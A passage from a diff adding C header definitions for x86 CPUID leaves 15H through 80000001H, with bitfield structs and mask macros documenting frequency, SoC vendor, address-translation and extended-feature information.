CPUID_ECX_NOMINAL_FREQUENCY_MASK 0xFFFFFFFF +#define CPUID_ECX_NOMINAL_FREQUENCY(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_15; + + +/** + * @brief Processor Frequency Information Leaf + * + * When CPUID executes with EAX set to 16H, the processor returns information about Processor Frequency Information. + * + * @note Data is returned from this interface in accordance with the processor's specification and does not reflect actual + * values. Suitable use of this data includes the display of processor information in like manner to the processor brand + * string and for determining the appropriate range to use when displaying processor information e.g. frequency history + * graphs. The returned information should not be used for any other purpose as the returned information does not + * accurately correlate to information / counters returned by other processor interfaces. + * While a processor may support the Processor Frequency Information leaf, fields that return a value of zero are not + * supported. + */ +#define CPUID_PROCESSOR_FREQUENCY_INFORMATION 0x00000016 +typedef struct +{ + union + { + struct + { + /** + * [Bits 15:0] Processor Base Frequency (in MHz). + */ + uint32_t procesor_base_frequency_mhz : 16; +#define CPUID_EAX_PROCESOR_BASE_FREQUENCY_MHZ_BIT 0 +#define CPUID_EAX_PROCESOR_BASE_FREQUENCY_MHZ_FLAG 0xFFFF +#define CPUID_EAX_PROCESOR_BASE_FREQUENCY_MHZ_MASK 0xFFFF +#define CPUID_EAX_PROCESOR_BASE_FREQUENCY_MHZ(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 15:0] Maximum Frequency (in MHz). + */ + uint32_t processor_maximum_frequency_mhz : 16; +#define CPUID_EBX_PROCESSOR_MAXIMUM_FREQUENCY_MHZ_BIT 0 +#define CPUID_EBX_PROCESSOR_MAXIMUM_FREQUENCY_MHZ_FLAG 0xFFFF +#define CPUID_EBX_PROCESSOR_MAXIMUM_FREQUENCY_MHZ_MASK 0xFFFF +#define CPUID_EBX_PROCESSOR_MAXIMUM_FREQUENCY_MHZ(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 15:0] Bus (Reference) Frequency (in MHz). + */ + uint32_t bus_frequency_mhz : 16; +#define CPUID_ECX_BUS_FREQUENCY_MHZ_BIT 0 +#define CPUID_ECX_BUS_FREQUENCY_MHZ_FLAG 0xFFFF +#define CPUID_ECX_BUS_FREQUENCY_MHZ_MASK 0xFFFF +#define CPUID_ECX_BUS_FREQUENCY_MHZ(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_16; + +/** + * @defgroup cpuid_eax_17 \ + * EAX = 0x17 + * + * When CPUID executes with EAX set to 17H, the processor returns information about the System-On-Chip Vendor Attribute + * Enumeration. + * @{ + */ +#define CPUID_SOC_VENDOR_INFORMATION 0x00000017 + /** + * @brief System-On-Chip Vendor Attribute Enumeration Main Leaf (EAX = 17H, ECX = 0) + * + * @note Leaf 17H main leaf (ECX = 0). Leaf 17H output depends on the initial value in ECX. Leaf 17H sub-leaves 1 through 3 + * reports SOC Vendor Brand String. Leaf 17H is valid if MaxSOCID_Index >= 3. Leaf 17H sub-leaves 4 and above are reserved. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Reports the maximum input value of supported sub-leaf in leaf 17H. + */ + uint32_t max_soc_id_index : 32; +#define CPUID_EAX_MAX_SOC_ID_INDEX_BIT 0 +#define CPUID_EAX_MAX_SOC_ID_INDEX_FLAG 0xFFFFFFFF +#define CPUID_EAX_MAX_SOC_ID_INDEX_MASK 0xFFFFFFFF +#define CPUID_EAX_MAX_SOC_ID_INDEX(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 15:0] SOC Vendor ID. + */ + uint32_t soc_vendor_id : 16; +#define CPUID_EBX_SOC_VENDOR_ID_BIT 0 +#define CPUID_EBX_SOC_VENDOR_ID_FLAG 0xFFFF +#define CPUID_EBX_SOC_VENDOR_ID_MASK 0xFFFF +#define CPUID_EBX_SOC_VENDOR_ID(_) (((_) >> 0) & 0xFFFF) + + /** + * [Bit 16] If 1, the SOC Vendor ID field is assigned via an industry standard enumeration scheme. Otherwise, the SOC + * Vendor ID field is assigned by Intel. + */ + uint32_t is_vendor_scheme : 1; +#define CPUID_EBX_IS_VENDOR_SCHEME_BIT 16 +#define CPUID_EBX_IS_VENDOR_SCHEME_FLAG 0x10000 +#define CPUID_EBX_IS_VENDOR_SCHEME_MASK 0x01 +#define CPUID_EBX_IS_VENDOR_SCHEME(_) (((_) >> 16) & 0x01) + uint32_t reserved1 : 15; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] A unique number an SOC vendor assigns to its SOC projects. + */ + uint32_t project_id : 32; +#define CPUID_ECX_PROJECT_ID_BIT 0 +#define CPUID_ECX_PROJECT_ID_FLAG 0xFFFFFFFF +#define CPUID_ECX_PROJECT_ID_MASK 0xFFFFFFFF +#define CPUID_ECX_PROJECT_ID(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] A unique number within an SOC project that an SOC vendor assigns. + */ + uint32_t stepping_id : 32; +#define CPUID_EDX_STEPPING_ID_BIT 0 +#define CPUID_EDX_STEPPING_ID_FLAG 0xFFFFFFFF +#define CPUID_EDX_STEPPING_ID_MASK 0xFFFFFFFF +#define CPUID_EDX_STEPPING_ID(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_17_ecx_00; + +/** + * @brief System-On-Chip Vendor Attribute Enumeration Sub-leaf (EAX = 17H, ECX = 1..3) + * + * @note Leaf 17H output depends on the initial value in ECX. SOC Vendor Brand String is a UTF-8 encoded string padded with + * trailing bytes of 00H. The complete SOC Vendor Brand String is constructed by concatenating in ascending order of + * EAX:EBX:ECX:EDX and from the sub-leaf 1 fragment towards sub-leaf 3. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] SOC Vendor Brand String. UTF-8 encoded string. + */ + uint32_t soc_vendor_brand_string : 32; +#define CPUID_EAX_SOC_VENDOR_BRAND_STRING_BIT 0 +#define CPUID_EAX_SOC_VENDOR_BRAND_STRING_FLAG 0xFFFFFFFF +#define CPUID_EAX_SOC_VENDOR_BRAND_STRING_MASK 0xFFFFFFFF +#define CPUID_EAX_SOC_VENDOR_BRAND_STRING(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] SOC Vendor Brand String. UTF-8 encoded string. + */ + uint32_t soc_vendor_brand_string : 32; +#define CPUID_EBX_SOC_VENDOR_BRAND_STRING_BIT 0 +#define CPUID_EBX_SOC_VENDOR_BRAND_STRING_FLAG 0xFFFFFFFF +#define CPUID_EBX_SOC_VENDOR_BRAND_STRING_MASK 0xFFFFFFFF +#define CPUID_EBX_SOC_VENDOR_BRAND_STRING(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] SOC Vendor Brand String. UTF-8 encoded string. + */ + uint32_t soc_vendor_brand_string : 32; +#define CPUID_ECX_SOC_VENDOR_BRAND_STRING_BIT 0 +#define CPUID_ECX_SOC_VENDOR_BRAND_STRING_FLAG 0xFFFFFFFF +#define CPUID_ECX_SOC_VENDOR_BRAND_STRING_MASK 0xFFFFFFFF +#define CPUID_ECX_SOC_VENDOR_BRAND_STRING(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] SOC Vendor Brand String. UTF-8 encoded string. + */ + uint32_t soc_vendor_brand_string : 32; +#define CPUID_EDX_SOC_VENDOR_BRAND_STRING_BIT 0 +#define CPUID_EDX_SOC_VENDOR_BRAND_STRING_FLAG 0xFFFFFFFF +#define CPUID_EDX_SOC_VENDOR_BRAND_STRING_MASK 0xFFFFFFFF +#define CPUID_EDX_SOC_VENDOR_BRAND_STRING(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_17_ecx_01_03; + +/** + * @brief System-On-Chip Vendor Attribute Enumeration Sub-leaves (EAX = 17H, ECX > MaxSOCID_Index) + * + * @note Leaf 17H output depends on the initial value in ECX. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Reserved = 0. + */ + uint32_t reserved : 32; +#define CPUID_EAX_RESERVED_BIT 0 +#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Reserved = 0. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Reserved = 0. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] Reserved = 0. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_17_ecx_n; + +/** + * @} + */ + + /** + * @defgroup cpuid_eax_18 \ + * EAX = 0x18 + * + * When CPUID executes with EAX set to 18H, the processor returns information about the Deterministic Address Translation + * Parameters. + * @{ + */ +#define CPUID_DETERMINISTIC_ADDRESS_TRANSLATION_PARAMETERS 0x00000018 + /** + * @brief Deterministic Address Translation Parameters Main Leaf (EAX = 18H, ECX = 0) + * + * @note Each sub-leaf enumerates a different address translation structure. + * If ECX contains an invalid sub-leaf index, EAX/EBX/ECX/EDX return 0. Sub-leaf index n is invalid if n exceeds the value + * that sub-leaf 0 returns in EAX. A sub-leaf index is also invalid if EDX[4:0] returns 0. Valid sub-leaves do not need to + * be contiguous or in any particular order. A valid sub-leaf may be in a higher input ECX value than an invalid sub-leaf + * or than a valid sub-leaf of a higher or lower-level structure. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Reports the maximum input value of supported sub-leaf in leaf 18H. + */ + uint32_t max_sub_leaf : 32; +#define CPUID_EAX_MAX_SUB_LEAF_BIT 0 +#define CPUID_EAX_MAX_SUB_LEAF_FLAG 0xFFFFFFFF +#define CPUID_EAX_MAX_SUB_LEAF_MASK 0xFFFFFFFF +#define CPUID_EAX_MAX_SUB_LEAF(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bit 0] 4K page size entries supported by this structure. + */ + uint32_t page_entries_4kb_supported : 1; +#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_BIT 0 +#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_FLAG 0x01 +#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_MASK 0x01 +#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] 2MB page size entries supported by this structure. + */ + uint32_t page_entries_2mb_supported : 1; +#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_BIT 1 +#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_FLAG 0x02 +#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_MASK 0x01 +#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] 4MB page size entries supported by this structure. + */ + uint32_t page_entries_4mb_supported : 1; +#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_BIT 2 +#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_FLAG 0x04 +#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_MASK 0x01 +#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] 1 GB page size entries supported by this structure. + */ + uint32_t page_entries_1gb_supported : 1; +#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_BIT 3 +#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_FLAG 0x08 +#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_MASK 0x01 +#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED(_) (((_) >> 3) & 0x01) + uint32_t reserved1 : 4; + + /** + * [Bits 10:8] Partitioning (0: Soft partitioning between the logical processors sharing this structure). + */ + uint32_t partitioning : 3; +#define CPUID_EBX_PARTITIONING_BIT 8 +#define CPUID_EBX_PARTITIONING_FLAG 0x700 +#define CPUID_EBX_PARTITIONING_MASK 0x07 +#define CPUID_EBX_PARTITIONING(_) (((_) >> 8) & 0x07) + uint32_t reserved2 : 5; + + /** + * [Bits 31:16] W = Ways of associativity. + */ + uint32_t ways_of_associativity_00 : 16; +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_00_BIT 16 +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_00_FLAG 0xFFFF0000 +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_00_MASK 0xFFFF +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_00(_) (((_) >> 16) & 0xFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Number of Sets. + */ + uint32_t number_of_sets : 32; +#define CPUID_ECX_NUMBER_OF_SETS_BIT 0 +#define CPUID_ECX_NUMBER_OF_SETS_FLAG 0xFFFFFFFF +#define CPUID_ECX_NUMBER_OF_SETS_MASK 0xFFFFFFFF +#define CPUID_ECX_NUMBER_OF_SETS(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 4:0] Translation cache type field. + * - 00000b: Null (indicates this sub-leaf is not valid). + * - 00001b: Data TLB. + * - 00010b: Instruction TLB. + * - 00011b: Unified TLB. + * All other encodings are reserved. + * + * @note Some unified TLBs will allow a single TLB entry to satisfy data read/write and instruction fetches. Others will + * require separate entries (e.g., one loaded on data read/write and another loaded on an instruction fetch) . Please see + * the Intel(R) 64 and IA-32 Architectures Optimization Reference Manual for details of a particular product. + */ + uint32_t translation_cache_type_field : 5; +#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_BIT 0 +#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_FLAG 0x1F +#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_MASK 0x1F +#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD(_) (((_) >> 0) & 0x1F) + + /** + * [Bits 7:5] Translation cache level (starts at 1). + */ + uint32_t translation_cache_level : 3; +#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_BIT 5 +#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_FLAG 0xE0 +#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_MASK 0x07 +#define CPUID_EDX_TRANSLATION_CACHE_LEVEL(_) (((_) >> 5) & 0x07) + + /** + * [Bit 8] Fully associative structure. + */ + uint32_t fully_associative_structure : 1; +#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_BIT 8 +#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_FLAG 0x100 +#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_MASK 0x01 +#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE(_) (((_) >> 8) & 0x01) + uint32_t reserved1 : 5; + + /** + * [Bits 25:14] Maximum number of addressable IDs for logical processors sharing this translation cache. + * + * @note Add one to the return value to get the result. + */ + uint32_t max_addressable_ids_for_logical_processors : 12; +#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_BIT 14 +#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_FLAG 0x3FFC000 +#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_MASK 0xFFF +#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS(_) (((_) >> 14) & 0xFFF) + uint32_t reserved2 : 6; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_18_ecx_00; + +/** + * @brief Deterministic Address Translation Parameters Sub-leaf (EAX = 18H, ECX >= 1) + * + * @note Each sub-leaf enumerates a different address translation structure. + * If ECX contains an invalid sub-leaf index, EAX/EBX/ECX/EDX return 0. Sub-leaf index n is invalid if n exceeds the value + * that sub-leaf 0 returns in EAX. A sub-leaf index is also invalid if EDX[4:0] returns 0. Valid sub-leaves do not need to + * be contiguous or in any particular order. A valid sub-leaf may be in a higher input ECX value than an invalid sub-leaf + * or than a valid sub-leaf of a higher or lower-level structure. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] EAX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EAX_RESERVED_BIT 0 +#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bit 0] 4K page size entries supported by this structure. + */ + uint32_t page_entries_4kb_supported : 1; +#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_BIT 0 +#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_FLAG 0x01 +#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_MASK 0x01 +#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] 2MB page size entries supported by this structure. + */ + uint32_t page_entries_2mb_supported : 1; +#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_BIT 1 +#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_FLAG 0x02 +#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_MASK 0x01 +#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] 4MB page size entries supported by this structure. + */ + uint32_t page_entries_4mb_supported : 1; +#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_BIT 2 +#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_FLAG 0x04 +#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_MASK 0x01 +#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] 1 GB page size entries supported by this structure. + */ + uint32_t page_entries_1gb_supported : 1; +#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_BIT 3 +#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_FLAG 0x08 +#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_MASK 0x01 +#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED(_) (((_) >> 3) & 0x01) + uint32_t reserved1 : 4; + + /** + * [Bits 10:8] Partitioning (0: Soft partitioning between the logical processors sharing this structure). + */ + uint32_t partitioning : 3; +#define CPUID_EBX_PARTITIONING_BIT 8 +#define CPUID_EBX_PARTITIONING_FLAG 0x700 +#define CPUID_EBX_PARTITIONING_MASK 0x07 +#define CPUID_EBX_PARTITIONING(_) (((_) >> 8) & 0x07) + uint32_t reserved2 : 5; + + /** + * [Bits 31:16] W = Ways of associativity. + */ + uint32_t ways_of_associativity_01 : 16; +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_01_BIT 16 +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_01_FLAG 0xFFFF0000 +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_01_MASK 0xFFFF +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_01(_) (((_) >> 16) & 0xFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Number of Sets. + */ + uint32_t number_of_sets : 32; +#define CPUID_ECX_NUMBER_OF_SETS_BIT 0 +#define CPUID_ECX_NUMBER_OF_SETS_FLAG 0xFFFFFFFF +#define CPUID_ECX_NUMBER_OF_SETS_MASK 0xFFFFFFFF +#define CPUID_ECX_NUMBER_OF_SETS(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 4:0] Translation cache type field. + * - 00000b: Null (indicates this sub-leaf is not valid). + * - 00001b: Data TLB. + * - 00010b: Instruction TLB. + * - 00011b: Unified TLB. + * All other encodings are reserved. + * + * @note Some unified TLBs will allow a single TLB entry to satisfy data read/write and instruction fetches. Others will + * require separate entries (e.g., one loaded on data read/write and another loaded on an instruction fetch) . Please see + * the Intel(R) 64 and IA-32 Architectures Optimization Reference Manual for details of a particular product. + */ + uint32_t translation_cache_type_field : 5; +#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_BIT 0 +#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_FLAG 0x1F +#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_MASK 0x1F +#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD(_) (((_) >> 0) & 0x1F) + + /** + * [Bits 7:5] Translation cache level (starts at 1). + */ + uint32_t translation_cache_level : 3; +#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_BIT 5 +#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_FLAG 0xE0 +#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_MASK 0x07 +#define CPUID_EDX_TRANSLATION_CACHE_LEVEL(_) (((_) >> 5) & 0x07) + + /** + * [Bit 8] Fully associative structure. + */ + uint32_t fully_associative_structure : 1; +#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_BIT 8 +#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_FLAG 0x100 +#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_MASK 0x01 +#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE(_) (((_) >> 8) & 0x01) + uint32_t reserved1 : 5; + + /** + * [Bits 25:14] Maximum number of addressable IDs for logical processors sharing this translation cache. + * + * @note Add one to the return value to get the result. + */ + uint32_t max_addressable_ids_for_logical_processors : 12; +#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_BIT 14 +#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_FLAG 0x3FFC000 +#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_MASK 0xFFF +#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS(_) (((_) >> 14) & 0xFFF) + uint32_t reserved2 : 6; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_18_ecx_01p; + +/** + * @} + */ + + + /** + * @brief Extended Function CPUID Information + * + * When CPUID executes with EAX set to 80000000H, the processor returns the highest value the processor recognizes for + * returning extended processor information. The value is returned in the EAX register and is processor specific. + */ +#define CPUID_EXTENDED_FUNCTION_INFORMATION 0x80000000 +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Maximum Input Value for Extended Function CPUID Information. + */ + uint32_t max_extended_functions : 32; +#define CPUID_EAX_MAX_EXTENDED_FUNCTIONS_BIT 0 +#define CPUID_EAX_MAX_EXTENDED_FUNCTIONS_FLAG 0xFFFFFFFF +#define CPUID_EAX_MAX_EXTENDED_FUNCTIONS_MASK 0xFFFFFFFF +#define CPUID_EAX_MAX_EXTENDED_FUNCTIONS(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] EBX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_80000000; + + +/** + * Extended Function CPUID Information. + */ +#define CPUID_EXTENDED_CPU_SIGNATURE 0x80000001 +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] EAX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EAX_RESERVED_BIT 0 +#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] EBX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bit 0] LAHF/SAHF available in 64-bit mode. + */ + uint32_t lahf_sahf_available_in_64_bit_mode : 1; +#define CPUID_ECX_LAHF_SAHF_AVAILABLE_IN_64_BIT_MODE_BIT 0 +#define CPUID_ECX_LAHF_SAHF_AVAILABLE_IN_64_BIT_MODE_FLAG 0x01 +#define CPUID_ECX_LAHF_SAHF_AVAILABLE_IN_64_BIT_MODE_MASK 0x01 +#define CPUID_ECX_LAHF_SAHF_AVAILABLE_IN_64_BIT_MODE(_) (((_) >> 0) & 0x01) + uint32_t reserved1 : 4; + + /** + * [Bit 5] LZCNT. + */ + uint32_t lzcnt : 1; +#define CPUID_ECX_LZCNT_BIT 5 +#define CPUID_ECX_LZCNT_FLAG 0x20 +#define CPUID_ECX_LZCNT_MASK 0x01 +#define CPUID_ECX_LZCNT(_) (((_) >> 5) & 0x01) + uint32_t reserved2 : 2; + + /** + * [Bit 8] PREFETCHW. + */ + uint32_t prefetchw : 1; +#define CPUID_ECX_PREFETCHW_BIT 8 +#define CPUID_ECX_PREFETCHW_FLAG 0x100 +#define CPUID_ECX_PREFETCHW_MASK 0x01 +#define CPUID_ECX_PREFETCHW(_) (((_) >> 8) & 0x01) + uint32_t reserved3 : 23; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + uint32_t reserved1 : 11; + + /** + * [Bit 11] SYSCALL/SYSRET available in 64-bit mode. + */ + uint32_t syscall_sysret_available_in_64_bit_mode : 1; +#define CPUID_EDX_SYSCALL_SYSRET_AVAILABLE_IN_64_BIT_MODE_BIT 11 +#define CPUID_EDX_SYSCALL_SYSRET_AVAILABLE_IN_64_BIT_MODE_FLAG 0x800 +#define CPUID_EDX_SYSCALL_SYSRET_AVAILABLE_IN_64_BIT_MODE_MASK 0x01 +#define CPUID_EDX_SYSCALL_SYSRET_AVAILABLE_IN_64_BIT_MODE(_) (((_) >> 11) & 0x01) + uint32_t reserved2 : 8; + + /** + * [Bit 20] Execute Disable Bit available. + */ + uint32_t execute_disable_bit_available : 1; +#define CPUID_EDX_EXECUTE_DISABLE_BIT_AVAILABLE_BIT 20 +#define 